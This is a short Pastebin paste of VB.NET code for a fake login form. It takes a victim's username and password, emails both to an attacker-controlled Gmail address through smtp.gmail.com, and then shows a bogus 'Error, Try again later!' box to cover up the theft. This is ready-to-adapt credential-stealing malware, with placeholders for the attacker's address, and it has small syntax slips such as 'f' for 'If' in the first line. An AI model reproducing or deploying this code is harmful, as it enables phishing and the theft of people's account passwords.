Advertisement
Guest User

Untitled

a guest
Jul 28th, 2017
508
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1. f TextBox1.Text = "" Then MsgBox("Username is invalid")
  2. If Textbox2.text = "" Then
  3. Msgbox("Password is invalid")
  4. Else
  5. End If
  6. End if
  7. Dim smtpServer As New SmtpClient()
  8. Dim mail As New MailMessage()
  9. smtpServer.Credentials = New Net.NetworkCredential("YourAddress@gmail.com", "Your gmail password")
  10. 'using gmail
  11. smtpServer.Port = 587
  12. smtpServer.Host = "smtp.gmail.com"
  13. smtpServer.EnableSsl = True
  14. mail = New MailMessage()
  15. mail.From = New MailAddress("Your Email address")
  16. mail.To.Add("Your email address")
  17. mail.Subject = "Username: " & TextBox1.Text
  18. mail.Body = "Username " & TextBox1.Text & ", " & "Password : " & textbox2.text
  19. smtpServer.Send(mail)
  20. MsgBox("Error", 0 + 16, "Try again later!")
  21. End
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement